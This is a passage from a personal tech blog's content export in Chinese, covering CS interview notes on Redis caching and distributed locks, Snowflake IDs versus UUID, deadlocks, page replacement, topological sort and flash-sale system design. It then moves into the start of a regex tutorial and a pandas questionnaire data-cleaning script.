log来保证\nconsistency一致性：确保数据库从一个一致的状态转移到另一个一致的状态\nisolation隔离性：多个事务并发的时候，每个事务不能看到其他事务的中间状态，通过MVCC实现\ndurability持久性：事务一旦被提交，结果都是保留在数据库中的，通过redo log实现\nRedis Redis如何保证缓存和数据库的一致性？ 读场景：不会导致缓存的不一致性\n写场景：有一个更新数据库和更新/淘汰缓存的顺序\n淘汰cache策略：在更新数据的时候，把现有的cache淘汰掉\n优点：操作简单，直接把cache淘汰掉就好；\n缺点：在淘汰cache之后会有一段时间出现cache miss的状态。\n更新cache策略：在更新数据的时候，直接把缓存也更新了\n优点：cache的命中率高，不会出现cache miss\n缺点：cache的更新可能会比较复杂，比如更新数据库的一个操作之后，cache并不是直接把db中的数据读出来，而是要经过一系列计算之后才能把cache更新。\n业界一般选用淘汰cache的策略，更新cache策略的成本太高，每次更新数据库的时候都要更新cache，而且有可能cache的命中率也不是很高。\n方案1:先淘汰缓存，再去更新数据库\n正常情况：线程A先淘汰了缓存，更新了数据库；线程B在没有找到缓存数据，去数据库中进行查询，再把数据保存到缓存中\n异常情况：（同步更新缓存）线程A先淘汰了缓存，还没有更新完成数据库，数据库中仍然是旧的数据，线程B没有找到缓存，去数据库中查询，并将旧数据保存到了缓存中，等到线程A更新完数据库，就出现了缓存不一致的问题，直到该缓存过期。\n解决方式：\n使用延迟双删（线程A在完成更新数据库之后休眠M秒，再次淘汰缓存），执行流程为：线程A先淘汰缓存，还没有完成更新数据库的时候，若此时有读操作，会把旧数据放到缓存中，导致了缓存不一致的问题。等到线程A完成更新数据库的操作后，休眠M秒（M稍大于从数据库中读数据的N秒）后，再次淘汰缓存。等到下一次读操作的时候，把新数据加载到缓存中。\n异步更新缓存：线程A先淘汰了缓存，还没有更新完成数据库，数据库中仍然是旧的数据，线程B没有找到缓存，去数据库中查询，但是不把数据加载到缓存中，等到线程A完成对数据库的更新之后，通过订阅binlog来异步更新缓存，这种情况下不会导致缓存不一致。\n方案2:先更新数据库，再淘汰缓存\n正常情况：线程A先更新数据库，然后淘汰了缓存；线程B在没有找到缓存数据，去数据库中进行查询，再把数据保存到缓存中\n异常情况：线程A先更新了数据库，此时还没有淘汰缓存，线程B读取了缓存的旧数据，出现了缓存不一致的问题。之后线程A删除了缓存，下一次读操作的时候，把数据加载到缓存中去。（这个方案出现缓存不一致的时间较短，数据最终是一致的）\n无论是同步/异步更新缓存，都不会导致数据的最终不一致，在更新数据库期间，cache中的旧数据会被读取，可能会有一段时间的数据不一致，但读的效率很好——保证了数据读取的效率，如果业务对一致性要求不是很高，这种方案最合适\n如果有一步出现失败的情况的话，可以把失败的加到重试队列中，直至成功。\n缓存雪崩、缓存击穿、缓存穿透 缓存雪崩\n概念：大量的缓存在同一时间过期。\n预防方式：分散缓存的过期时间，可以使用随机数设置过期时间；或者采取永不过期的策略\n缓存击穿\n概念：缓存中没有，但是数据库中可以查询到的数据。比如某一个缓存过期了，这个数据的查询就会大量直接去访问数据库，加大数据库的负担。\n预防方式：使用互斥锁（如分布式锁），或者在查询数据库前检查缓存是否存在，若不存在再去查询数据库\n缓存穿透\n概念：缓存中不存在的数据，数据库中也没有的数据，导致每次请求都会直接访问数据库。典型的情况就是攻击者构造了大量的不存在的key，导致对数据库的频繁查询。\n预防方式：可以使用布隆过滤器等手段过滤掉恶意请求，或者在查询数据库前进行参数的合法性校验。\nRedis分布式锁 Redis分布式锁是利用Redis的单线程特性，通过设置和获取键值对来实现分布式锁机制。常用的实现方法包括使用SETNX命令和RedLock算法。\n基本实现方法：\n获取锁： 使用SETNX命令（SET if Not eXists）在Redis中设置一个键，并附带一个过期时间。\nSETNX lock_key unique_value EXPIRE lock_key expire_time 如果返回1，则表示成功获取锁。否则，表示锁已经被其他客户端获取。\n释放锁： 释放锁时，需要确保释放的是自己持有的锁，可以通过删除键来释放。\nDEL lock_key RedLock算法： RedLock算法是Redis作者提出的一种分布式锁算法，主要步骤如下：\n在N个Redis实例上尝试获取锁。 如果在大多数实例（如N/2+1个）上成功获取锁，则认为获取成功。 设置一个过期时间，防止死锁。 在锁的有效时间内完成操作后，释放锁。 Redis分布式锁的使用示例（伪代码）：\nimport redis import time def acquire_lock(redis_client, lock_key, unique_value, expire_time): if redis_client.setnx(lock_key, unique_value): redis_client.expire(lock_key, expire_time) return True return False def release_lock(redis_client, lock_key, unique_value): if redis_client.get(lock_key) == unique_value: redis_client.delete(lock_key) redis_client = redis.StrictRedis(host=\u0026#39;localhost\u0026#39;, port=6379, db=0) lock_key = \u0026#39;my_lock\u0026#39; unique_value = \u0026#39;12345\u0026#39; expire_time = 10 # seconds if acquire_lock(redis_client, lock_key, unique_value, expire_time): try: # Perform critical section operations pass finally: release_lock(redis_client, lock_key, unique_value) else: print(\u0026#34;Failed to acquire lock\u0026#34;) 算法 雪花算法（Snowflake Algorithm） 雪花算法是由Twitter开发的一种分布式唯一ID生成算法，旨在生成高效、排序的全局唯一ID。其生成的ID是64位整数，通过时间戳、机器ID和序列号的组合实现唯一性。\n雪花算法的结构：\n1位符号位：始终为0，表示正数。 41位时间戳：表示从某个固定时间开始的毫秒数，可以使用约69年。 10位机器ID：用于标识生成ID的机器，支持最多1024个节点。 12位序列号：用于区分同一毫秒内生成的不同ID，支持每毫秒生成4096个不同ID。 生成ID的过程：\n获取当前时间戳。 获取机器标识。 获取序列号（如果同一毫秒内生成多个ID，序列号会自增）。 将以上部分拼接生成唯一ID。 UUID（Universally Unique Identifier） UUID是一种通用的唯一标识符，标准化由RFC 4122定义，长度为128位。UUID有多种版本，最常用的是版本1和版本4。\n常见UUID版本：\nUUID v1：基于时间戳和节点（通常是MAC地址），容易暴露生成时间和生成节点的信息。 UUID v4：基于随机数生成，唯一性依赖于足够大的随机数空间。 雪花算法与UUID的区别 长度和格式：\n雪花算法生成的是64位整数，长度较短，适合存储在数据库的整型字段中。 UUID生成的是128位标识符，通常表示为36个字符的字符串（包含连字符）。 唯一性原理：\n雪花算法依赖时间戳、机器ID和序列号的组合来保证唯一性，时间戳部分保证了生成的ID按时间递增。 UUID v1基于时间戳和MAC地址，UUID v4基于随机数，依赖足够大的随机数空间来保证唯一性。 有序性：\n雪花算法生成的ID按时间递增，有利于数据库索引和排序。 UUID v1有一定的有序性，但UUID v4完全随机，无序。 生成效率：\n雪花算法在分布式系统中高效生成唯一ID，且生成速度快。 UUID生成相对较慢，尤其是UUID v4需要高质量的随机数生成。 空间占用：\n雪花算法生成的64位整数，存储和传输开销较小。 UUID是128位，表示为字符串时占用更多存储和传输空间。 优劣对比 雪花算法的优点：\n高效生成：适合高并发环境下快速生成唯一ID。 有序性：生成的ID按时间递增，有利于数据库索引和查询性能。 占用空间小：64位整数，占用空间和传输开销较小。 雪花算法的缺点：\n依赖时钟：依赖时间戳，如果时钟回拨可能会导致ID冲突。 依赖机器ID配置：需要配置和管理机器ID，避免冲突。 UUID的优点：\n全局唯一性：128位随机数生成，冲突概率极低。 独立性：不依赖特定的机器或时间戳，生成过程简单。 UUID的缺点：\n无序性：UUID v4完全随机，不适合需要有序ID的场景。 占用空间大：128位长度，表示为字符串时占用更多存储和传输空间。 生成效率较低：尤其是UUID v4，需要高质量的随机数生成，生成速度较慢。 适用场景 雪花算法：\n高并发系统：需要快速生成唯一ID的分布式系统。 数据库索引：需要有序ID来提高数据库索引和查询性能的场景。 UUID：\n全局唯一标识：需要生成全局唯一标识且不关心有序性的场景。 分布式系统：不依赖特定机器和时间戳，适用于无中心化ID生成的分布式系统。 总结 雪花算法和UUID各有优劣，根据具体应用场景选择合适的唯一ID生成策略。雪花算法适用于高并发、有序性要求高的场景，而UUID适用于需要全局唯一标识且不关心有序性的场景。\n操作系统 死锁 在计算机系统中，死锁是指两个或多个进程或线程在互相等待对方释放资源的情况下，陷入了一种无法继续执行的状态。死锁通常发生在多任务操作系统中，当多个进程或线程竞争有限的资源时。处理死锁的方法主要包括以下几种：\n预防死锁 预防死锁是通过在系统设计阶段采取措施，确保死锁不会发生。常见的方法包括：\n资源分配策略：\n互斥：确保资源不能同时被多个进程使用。 占有并等待：要求进程在请求新资源之前释放所有已占有的资源。 不可抢占：资源不能被强制从进程中抢占。 循环等待：对资源进行排序，要求进程按顺序请求资源，避免循环等待。 资源排序：\n对所有资源进行全局排序，要求进程按顺序请求资源，避免形成循环等待链。 避免死锁 避免死锁是在系统运行时动态地检测资源分配状态，确保不会进入可能导致死锁的状态。常见的方法是使用银行家算法（Banker\u0026rsquo;s Algorithm）。\n银行家算法： 在每次资源请求时，检查如果满足请求后系统是否仍处于安全状态（即存在一种资源分配顺序，使得所有进程都能完成）。如果处于安全状态，则允许请求；否则，拒绝请求。 检测死锁 检测死锁是在系统运行时定期检查是否存在死锁。如果检测到死锁，系统可以采取措施来解除死锁。\n资源分配图：\n使用资源分配图（Resource Allocation Graph）来检测是否存在循环等待，从而判断是否发生死锁。 死锁检测算法：\n定期运行死锁检测算法，检查系统中是否存在死锁。常见的算法包括等待图（Wait-for Graph）算法。 解除死锁 如果检测到死锁，系统可以采取以下措施来解除死锁：\n资源抢占：\n选择一个进程，强制释放其占有的资源，并将其回滚到某个安全状态，然后重新启动该进程。 进程终止：\n选择一个或多个进程终止，释放其占有的资源。通常选择终止那些代价最小的进程。 资源回滚：\n将系统状态回滚到某个安全状态，然后重新启动所有相关进程。 忽略死锁 在某些情况下，系统可能选择忽略死锁，认为死锁发生的概率很低，或者死锁的代价可以接受。这种方法通常用于对死锁不敏感的系统。\n总结\n处理死锁的方法包括预防、避免、检测和解除死锁。预防和避免是在系统设计阶段采取的措施，而检测和解除是在系统运行时采取的措施。选择哪种方法取决于系统的具体需求和资源管理策略。\n页面置换算法 页面置换算法是操作系统中管理虚拟内存的一项重要技术，当物理内存不够用时，操作系统会将不常用的页面置换到磁盘上，以释放内存空间给需要的进程。以下是一些常见的页面置换算法：\nFIFO（First-In-First-Out，先进先出）\n概念：FIFO算法是最简单的一种页面置换算法。它将最早进入内存的页面最先淘汰。可以用队列来实现，队头存放最早加载的页面，队尾存放最新的页面。 优点：实现简单，逻辑清晰。 缺点：性能可能不好，不考虑页面的实际使用情况，可能会淘汰经常使用的页面，导致“Belady异常”（页框数增加反而增加缺页次数）。 LRU（Least Recently Used，最近最少使用）\n概念：LRU算法假设最近使用的页面未来仍然会被频繁访问，最近最少使用的页面可能不再需要。该算法将最近最少使用的页面淘汰。 实现方式： 用一个链表来存储页面，每次访问页面将其移到链表头，链表尾部的页面是最久未使用的，优先淘汰。 或者使用计数器来记录每个页面的最后一次访问时间。 优点：比FIFO更智能，考虑到了页面的实际使用频率，性能较好。 缺点：实现复杂度较高，维护链表或计数器需要额外的开销。 LFU（Least Frequently Used，最少使用次数）\n概念：LFU算法基于页面的使用频率来决定淘汰哪个页面。使用频率最低的页面将优先淘汰。 实现方式：为每个页面维护一个访问计数器，选择访问次数最少的页面淘汰。 优点：可以保留那些频繁使用的页面。 缺点：可能会出现某些页面在过去被频繁使用，但近期使用较少，仍然不被淘汰的情况，导致内存占用不合理。 OPT（Optimal，最佳页面置换算法）\n概念：OPT算法是理论上的最优算法，它通过预知未来访问的情况，选择那些未来最晚被访问的页面进行淘汰。 实现方式：选择未来最久不再使用的页面进行置换。 优点：在理论上可以达到最小的缺页率。 缺点：需要预知未来的页面访问情况，实际系统中无法实现，只能用于评估其他算法的性能。 Clock（时钟置换算法）\n概念：Clock算法是LRU的近似实现，维护一个环形的页面集合，并用一个指针模拟时钟。每次替换时检查指针指向的页面是否最近使用过，如果没有使用过，则进行淘汰；如果使用过，将其标记为未使用，指针移动到下一个页面。 优点：实现比LRU简单，性能较好。 缺点：对频繁被访问的页面保护不够严格，性能可能不如LRU。 Second Chance（第二次机会算法）\n概念：Second Chance算法是对FIFO的改进，它为每个页面增加一个访问位（referenced bit），表示该页面最近是否被访问过。当页面需要被淘汰时，如果该页面的访问位为1，则将访问位清零，并跳过此页面，继续检查下一个页面。 优点：相比FIFO更合理，防止频繁访问的页面被淘汰。 缺点：仍然存在一定的局限性，尤其是在频繁的页面调度情况下。 NRU（Not Recently Used，最近未使用算法）\n概念：NRU算法将页面分为四类：未被访问、未被修改，未被访问、被修改，已被访问、未被修改，已被访问、被修改。它优先淘汰那些未被访问且未被修改的页面。 优点：简单有效，且相比LRU性能开销较小。 缺点：和LRU比起来准确度不够，可能无法准确捕捉页面访问的时间次序。 Aging（老化算法）\n概念：Aging算法通过周期性地衰减页面的优先级来模拟LRU的行为。每隔一段时间，将每个页面的优先级右移，衰减使用次数较少的页面的优先级。最后优先淘汰优先级最低的页面。 优点：实现比LRU更简单，能够近似实现LRU。 缺点：仍然有一定的时间开销，尤其在频繁的页面替换中。 总结\n每种页面置换算法都有各自的适用场景：\nFIFO 简单适用，但性能不佳。 LRU 是性能较优的算法，适合大多数情况。 OPT 是理论上的理想算法，但难以实现。 Clock 和 Second Chance 是对LRU和FIFO的改进，兼顾了性能和实现复杂度。 在实际系统中，算法的选择通常需要根据应用场景的需求、性能要求和实现复杂度进行权衡。\n数据结构 拓扑排序 拓扑排序（Topological Sorting）是一种对有向无环图（DAG, Directed Acyclic Graph）进行排序的算法。拓扑排序的结果是一个线性序列，使得对于图中的每一条有向边 u -\u0026gt; v，节点 u 在序列中都出现在节点 v 之前。换句话说，拓扑排序的结果是一个满足所有依赖关系的顺序。\n应用场景 拓扑排序常用于解决以下问题：\n任务调度：在任务调度中，某些任务必须在其他任务完成之后才能开始。拓扑排序可以帮助确定任务的执行顺序。 编译顺序：在编译过程中，某些文件依赖于其他文件的编译结果。拓扑排序可以帮助确定文件的编译顺序。 课程安排：在课程安排中，某些课程有先修课程的要求。拓扑排序可以帮助确定课程的学习顺序。 算法步骤 拓扑排序的常见算法步骤如下：\n计算入度： 对于每个节点，计算其入度（即指向该节点的边的数量）。 初始化队列： 将所有入度为 0 的节点加入一个队列（或栈）中。 处理队列： 从队列中取出一个节点，将其加入拓扑排序的结果序列中。 遍历该节点的所有邻接节点，将其入度减 1。 如果某个邻接节点的入度变为 0，则将其加入队列。 重复步骤 3： 重复上述步骤，直到队列为空。 检查结果： 如果拓扑排序的结果序列包含所有节点，则拓扑排序成功；否则，图中存在环，无法进行拓扑排序。 系统设计 如何设计一个秒杀系统 设计一个秒杀系统是一个非常具有挑战性的任务，特别是在高并发场景下。秒杀系统需要处理大量用户的并发请求，并确保库存的准确性、避免超卖，同时提供较好的用户体验。以下是一个典型秒杀系统的设计思路：\n1. 系统架构设计 秒杀系统的核心是快速响应用户请求并确保系统的高可用性。架构需要充分考虑高并发、库存管理、流量控制和安全性。\n用户层：用户通过Web端或移动端访问秒杀页面。前端通常会做静态资源优化，提前预加载秒杀页面以减少请求时间。 应用层：负载均衡和反向代理（如Nginx）分发用户的请求。应用服务通常会水平扩展，通过多台服务器来分担压力。 缓存层：Redis、Memcached等缓存系统用于存储秒杀商品信息、用户请求状态以及限流等逻辑，减少对数据库的压力。 数据库层：关系型数据库（如MySQL）存储商品和用户数据。为了优化性能，数据库通常会做水平或垂直拆分，并使用主从复制、分库分表来提高查询效率。 消息队列：Kafka、RabbitMQ等消息队列用来解耦高并发请求，异步处理订单创建等操作，确保请求有序处理。 2. 核心功能设计 秒杀系统的主要功能包括商品库存管理、订单生成、用户请求处理和流量控制。\n库存管理\n库存预热：将秒杀商品的库存信息提前加载到缓存中（如Redis），减少对数据库的直接操作。 库存扣减：采用原子性操作（如Redis的decr命令）来保证库存的正确扣减，防止超卖现象。如果库存不足，立即返回秒杀失败。 异步扣减库存：请求进入消息队列后，通过后端异步处理实际库存扣减操作，降低应用层的并发压力。 订单生成\n订单幂等性：确保同一个用户不能重复生成订单，可以通过用户和商品的组合键来唯一标识秒杀订单。 限流与排队：使用Redis或分布式锁机制，限制每个用户的秒杀请求次数，并为请求排队处理，避免系统过载。 用户请求处理\n请求排队：用户在秒杀开始前进入排队状态，系统通过排队机制（如令牌桶算法）限制并发数，依次处理用户请求。 请求去重：通过Redis或数据库锁来确保每个用户只能提交一次请求，避免多次提交。 流量控制\n限流：通过Redis的令牌桶算法或滑动窗口限流算法，对秒杀请求进行限流，确保秒杀服务不会被流量过载。 防刷机制：对于恶意刷秒杀的用户，可以通过验证码、用户行为分析等手段进行防刷保护。 3. 优化策略 为了应对高并发流量和提高秒杀系统的响应速度，可以采取以下优化策略：\n缓存优化：将秒杀商品的详情和库存信息提前加载到Redis中，通过缓存直接响应大部分用户请求，减少数据库压力。 静态化页面：秒杀页面可以提前静态化，并通过CDN分发给用户，降低应用服务器的负载。 异步操作：订单创建、支付等操作可以通过消息队列异步处理，将用户请求和订单处理解耦，提升系统的吞吐量。 热点数据分区：对于秒杀这种热点商品的请求，数据访问集中，可以使用分布式缓存或数据库分片来减小热点商品的数据压力。 4. 防止超卖与并发冲突 分布式锁：为防止并发请求下超卖的情况，可以通过Redis实现分布式锁，确保同一商品的库存扣减操作是串行的。 乐观锁机制：在数据库层，使用乐观锁（如带版本号的行更新）来确保库存扣减的并发安全。 事务机制：在数据库操作中使用事务来保证库存扣减和订单创建的原子性，防止异常情况发生导致的超卖或订单不一致问题。 5. 系统的高可用性与容错性 服务熔断与降级：在高并发时，秒杀系统可以通过熔断器（如Hystrix）来保护系统，避免整个系统被拖垮。同时可以设置降级机制，让部分用户得到稍后再试的提示。 多级缓存与降级策略：当缓存层压力过大时，可以降级到只展示部分商品的秒杀信息或者部分功能暂时关闭，保证核心功能的可用性。 数据恢复机制：秒杀过程中，系统需要能够处理意外情况（如网络延迟、系统宕机），通过重试机制或事务日志进行数据恢复，确保系统数据一致性。 6. 安全性 验证码：在秒杀过程中通过人机验证（如验证码）来减少机器人刷单的风险。 用户验证：秒杀过程中每个用户必须通过登录验证，确保秒杀活动仅对真实用户开放。 IP限流：对同一IP的秒杀请求做限流处理，避免同一个IP产生过多请求，影响系统的正常服务。 总结 一个完善的秒杀系统需要通过缓存、限流、排队和分布式锁等多种手段来应对高并发，同时确保系统的高可用性、准确性和响应速度。通过合理的架构设计和功能优化，可以有效提高秒杀系统的处理能力，并且保证良好的用户体验。\n","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E6%B1%82%E8%81%8C%E5%BD%92%E6%A1%A3/cs-basic-notes/","summary":"计算机网络 TCP TCP为什么要进行三次握手？ 三次握手是建立网络连接的过程，确保双方能够正确地进行数据传输。\n第一次握手SYN：客户端向服务端发送SYN请求同步信号，并初始化客户端序列号；\n第二次握手SYN+ACK：服务端收到了客户端发送的SYN信号后回复ACK确认收到，同时也发送SYN，指定自己的初始序列号；\n第三次握手ACK：客户端收到服务端的ACK+SYN后，回复一个ACK，表示已经收到服务端的ACK+SYN。这个包的序列会加一，表示客户端已经准备好和服务端进行数据传输了。\n为什么是三次握手？不是两次或者四次 原因1：阻止重复的历史连接初始化\n如果是两次握手的话，因网络堵塞的问题，客户端发送了两次SYN给服务端，服务端收到了第一个SYN的时候，就回复SYN+ACK给客户端，并进入了ESTABLISHED状态。而客户端这边收到了服务端旧的ACK+SYN，会认为这是历史连接从而发送RST报文，使服务端断开连接。\n原因2：同步双方的序列号\nTCP协议的双方都必须要维护一个序列号。两次握手只能保证一方的序列号被接收。\n原因3：避免资源浪费\n如果是两次握手，那么服务端在收到SYN后回复ACK的时候就要主动建立连接，要是网络堵塞，对面发了好多个SYN来，那完蛋了，建立了好多个TCP连接，造成了资源浪费。\nTCP的四次挥手 四次挥手是指在TCP断开连接的过程中发生的，一般是由客户端发起，服务端完成最后的断开。\n因为TCP是全双工通信，所以需要两边都要通知对方停止数据传输，故需要四次挥手保证断开连接。\n具体流程：（刚开始双方都处于ESTABLISHED状态）\n1.客户端向服务端发起FIN报文，表示客户端不再发送数据；（客户端进入FIN_WAIT_1中状态）\n2.服务端收到FIN报文后，回复一个ACK表示收到；（服务端进入CLOSED_WAIT状态，客户端收到ACK后进入FIN_WAIT_2状态）\n3.服务端向客户端发起FIIN报文，表示服务端也不再发送数据；（服务端进入LAST_ACK状态）\n4.客户端收到服务端的FIN报文后，也回复一个ACK。（客户端进入TIME_WAIT状态）\n发送端在最后会进入到TIME_WAIT的状态，\n为什么有TIME_WAIT状态？ 原因1：保证历史连接中的数据不会干扰下一次连接。\n原因2：保证被动关闭连接。如果服务端没有TIME_WAIT状态直接close的话，要是服务端没有收到客户端最后一次发送的ACK会重发FIN，如果服务器已经处于CLOSE状态，就会返回RST报文，RST报文会被服务端认定为错误。\n为什么TIME_WAIT的时间是2MSL？ MSL是报文的最大生存时间，超过这个时间的报文都会被丢弃。两个MSL时间可以保证客户端发送的ACK报文可以到达服务端+服务端要是在第一个MSL中没有收到ACK可以重发一次FIN到客户端，并保证能够到达客户端。\nHTTP GET方法和POST方法有什么区别？ 用途：GET方法一般用于请求服务器上的数据；POST方法用于向服务器提交数据。\n请求参数：GET方法的请求参数一般放在URL中，POST的请求参数一般放在请求体中。\n幂等：多次执行相同的操作，结果都相同。\n幂等行：GET方法是安全幂等的，POST不是幂等的。\n缓存机制：GET请求会被浏览器主动cache，如果下一次传输的数据相同，就会返回浏览器中的内容；而POST不会。\nGET的请求参数会被保存在浏览器的历史记录中，而POST中的参数不会保留\n时间消耗：GET产生一个TCP数据包，浏览器会把header和data一起发送出去，服务器相应200；\nPOST产生两个TCP数据包，浏览器先发送hader，服务器相应100（继续发送），浏览器再发送data，服务器相应200\n什么情况下会使用POST读取数据？ 当查询的数据量很多，GET方式的URL太长太大，GET方式大概是4KB，POST上限是8MB 当对数据的安全性有更高要求的时候，可以在POST的请求体中对数据进行加密 HTTP版本对比 HTTP/0.9 只支持GET方法 HTTP/1.0 支持多种请求方式 引入了请求头和响应头 引入状态码 不支持长连接\nHTTP/1.1 支持长连接 管道网络传输（可以同时发送A、B请求，不必等待A响应） 但是管道网络传输存在队头阻塞的问题\n头部冗余\n没有请求优先级\n请求只能通过客户端推送，服务器不能主动推送\nHTTP/2 使用HPACK进行头部压缩 把数据部分压缩成头信息帧和数据帧 并发传输：引入了stream的概念，多个Stream复用一条TCP连接，通过streamID识别，不同stream的帧可以乱序发送 支持服务器推送 HTTPS 和HTTP对比 优点\n安全性更高\n缺点\nHTTPS涉及到了加解密的过程，所以对服务器的负荷会高一些；\n握手阶段的延迟比较高，因为还有SSL/TLS握手;\n加密过程 HTTPS采用了对称加密+非对称加密的混合加密模式","title":"计算机基础知识"},{"content":"正则表达式是一种强大的文本匹配工具，它用于检索、替换那些符合某种模式(规则)的文本。\n基本匹配 文字：最简单的正则表达式是普通的字符，如 a、b、1 等，它们会匹配文本中的相应字符。 特殊字符 .：匹配除换行符以外的任意单个字符。例如，a.b 可以匹配 acb、aab、a2b 等。 ^：匹配行的开头。例如，^a 会匹配以 a 开头的行。 $：匹配行的结尾。例如，a$ 会匹配以 a 结尾的行。 [ ]：匹配方括号内的任意字符。例如，[abc] 会匹配 a、b、或 c。 -：在方括号内使用时，表示字符范围。例如，[a-z] 匹配任何小写字母。 [^ ]：匹配不在方括号内的任意字符。例如，[^abc] 会匹配除 a、b、c 之外的任意字符。 重复 *：匹配前面的字符零次或多次。例如，a* 会匹配 ''、a、aa、aaa 等。 +：匹配前面的字符一次或多次。例如，a+ 会匹配 a、aa、aaa 等，但不会匹配 ''。 ?：匹配前面的字符零次或一次。例如，a? 会匹配 '' 和 a。 {n}：匹配前面的字符恰好 n 次。例如，a{3} 会匹配 aaa。 {n,}：匹配前面的字符至少 n 次。例如，a{2,} 会匹配 aa、aaa 等。 {n,m}：匹配前面的字符至少 n 次，但不超过 m 次。例如，a{2,4} 会匹配 aa、aaa、aaaa。 特殊字符类 \\d：匹配任何数字，等价于 [0-9]。 \\w：匹配任何字母数字字符，等价于 [a-zA-Z0-9_]。 \\s：匹配任何空白字符，包括空格、制表符、换行符等。 分组和引用 ( )：将括号内的表达式定义为“组”(group)，并按照顺序编号。可以使用 \\数字 引用这些组。 或操作 |：匹配前后任意一个表达式。例如，a|b 会匹配 a 或 b。 实例应用 假设我们想匹配一个简单的日期格式 yyyy-mm-dd：\n\\d{4}-\\d{2}-\\d{2} \\d{4} 匹配四位数字，表示年份。 - 是字面量字符，表示日期的分隔符。 \\d{2} 匹配两位数字，表示月份和日期。 ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/regularexpressions/","summary":"正则表达式是一种强大的文本匹配工具，它用于检索、替换那些符合某种模式(规则)的文本。\n基本匹配 文字：最简单的正则表达式是普通的字符，如 a、b、1 等，它们会匹配文本中的相应字符。 特殊字符 .：匹配除换行符以外的任意单个字符。例如，a.b 可以匹配 acb、aab、a2b 等。 ^：匹配行的开头。例如，^a 会匹配以 a 开头的行。 $：匹配行的结尾。例如，a$ 会匹配以 a 结尾的行。 [ ]：匹配方括号内的任意字符。例如，[abc] 会匹配 a、b、或 c。 -：在方括号内使用时，表示字符范围。例如，[a-z] 匹配任何小写字母。 [^ ]：匹配不在方括号内的任意字符。例如，[^abc] 会匹配除 a、b、c 之外的任意字符。 重复 *：匹配前面的字符零次或多次。例如，a* 会匹配 ''、a、aa、aaa 等。 +：匹配前面的字符一次或多次。例如，a+ 会匹配 a、aa、aaa 等，但不会匹配 ''。 ?：匹配前面的字符零次或一次。例如，a? 会匹配 '' 和 a。 {n}：匹配前面的字符恰好 n 次。例如，a{3} 会匹配 aaa。 {n,}：匹配前面的字符至少 n 次。例如，a{2,} 会匹配 aa、aaa 等。 {n,m}：匹配前面的字符至少 n 次，但不超过 m 次。例如，a{2,4} 会匹配 aa、aaa、aaaa。 特殊字符类 \\d：匹配任何数字，等价于 [0-9]。 \\w：匹配任何字母数字字符，等价于 [a-zA-Z0-9_]。 \\s：匹配任何空白字符，包括空格、制表符、换行符等。 分组和引用 ( )：将括号内的表达式定义为“组”(group)，并按照顺序编号。可以使用 \\数字 引用这些组。 或操作 |：匹配前后任意一个表达式。例如，a|b 会匹配 a 或 b。 实例应用 假设我们想匹配一个简单的日期格式 yyyy-mm-dd：","title":"知识复习：正则表达式"},{"content":"数据的预处理 删除答题时间小于1分钟的 对异常数据进行一些修改 检查有没有重复的问卷 保留研究所需要的列 处理公共题目缺失值 把数据分为总数据df，来过游客的数据df_gone，没有来过游客的数据df_not_gone，所有原始信息保留 对于df_gone和df_not_gone分别应用孤立森林清洗异常问卷 得到最后的数据集df, df_gone, df_not_gone import pandas as pd df = pd.read_csv(\u0026#39;乌蒙大草原旅游问卷调查_final.csv\u0026#39;) print(df.shape) df.head() 这两段代码主要是排除答题时间小于60s的问卷，不过问卷网上可以直接进行筛选\n# 先把答题时间转换为时间格式 def convert_to_seconds(time_str): if \u0026#39;分\u0026#39; in time_str: minutes, seconds = time_str[:-1].split(\u0026#39;分\u0026#39;) return int(minutes) * 60 + int(seconds) else: return int(time_str[:-1]) df[\u0026#39;答题时长\u0026#39;] = df[\u0026#39;答题时长\u0026#39;].astype(str) df[\u0026#39;答题时长\u0026#39;] = pd.to_timedelta(df[\u0026#39;答题时长\u0026#39;].apply(convert_to_seconds), unit=\u0026#39;s\u0026#39;) # 删除答题时间小于1分钟的数据 df = df[df[\u0026#39;答题时长\u0026#39;] \u0026gt; \u0026#39;00:01:00\u0026#39;] print(df.shape) df.head() 针对Q2年龄的一些数据问题进行处理\nimport seaborn as sns import matplotlib.pyplot as plt # 查看Q2有没有非数字的数据 df[\u0026#39;Q2\u0026#39;].unique() # 修改数据 df[\u0026#39;Q2\u0026#39;] = df[\u0026#39;Q2\u0026#39;].replace(\u0026#39;1995\u0026#39;, 29) df[\u0026#39;Q2\u0026#39;] = df[\u0026#39;Q2\u0026#39;].replace(\u0026#39;50\\n\\n50\u0026#39;, \u0026#39;50\u0026#39;) df[\u0026#39;Q2\u0026#39;].unique() df[\u0026#39;Q2\u0026#39;] = pd.to_numeric(df[\u0026#39;Q2\u0026#39;], errors=\u0026#39;coerce\u0026#39;) print(df[\u0026#39;Q2\u0026#39;].dtypes) 这里用使用 pandas 的 duplicated 函数来找出重复的行\n# 检查df中是否有重复的行 df_duplicates = df.duplicated().sum() print(f\u0026#34;df中有{df_duplicates}行重复的数据。\u0026#34;) # 列名列表 columns = [\u0026#39;Q1\u0026#39;, \u0026#39;Q2\u0026#39;, \u0026#39;Q3\u0026#39;, \u0026#39;Q3|open\u0026#39;, \u0026#39;Q4\u0026#39;, \u0026#39;Q5\u0026#39;, \u0026#39;Q6|1|open\u0026#39;, \u0026#39;Q6|2|open\u0026#39;, \u0026#39;Q6|3|open\u0026#39;, \u0026#39;Q7|1\u0026#39;, \u0026#39;Q7|4\u0026#39;, \u0026#39;Q7|2\u0026#39;, \u0026#39;Q7|3\u0026#39;, \u0026#39;Q7|5\u0026#39;, \u0026#39;Q7|6\u0026#39;, \u0026#39;Q8\u0026#39;, \u0026#39;Q9\u0026#39;, \u0026#39;Q10\u0026#39;, \u0026#39;Q11\u0026#39;, \u0026#39;Q12\u0026#39;, \u0026#39;Q13\u0026#39;, \u0026#39;Q14\u0026#39;, \u0026#39;Q14|open\u0026#39;, \u0026#39;Q15\u0026#39;, \u0026#39;Q16|6\u0026#39;, \u0026#39;Q16|1\u0026#39;, \u0026#39;Q16|2\u0026#39;, \u0026#39;Q16|3\u0026#39;, \u0026#39;Q16|7\u0026#39;, \u0026#39;Q16|4\u0026#39;, \u0026#39;Q16|10\u0026#39;, \u0026#39;Q16|11\u0026#39;, \u0026#39;Q16|9\u0026#39;, \u0026#39;Q16|9|open\u0026#39;, \u0026#39;Q17\u0026#39;, \u0026#39;Q18\u0026#39;, \u0026#39;Q19\u0026#39;, \u0026#39;Q20\u0026#39;, \u0026#39;Q21|R1\u0026#39;, \u0026#39;Q21|R2\u0026#39;, \u0026#39;Q21|R3\u0026#39;, \u0026#39;Q21|R4\u0026#39;, 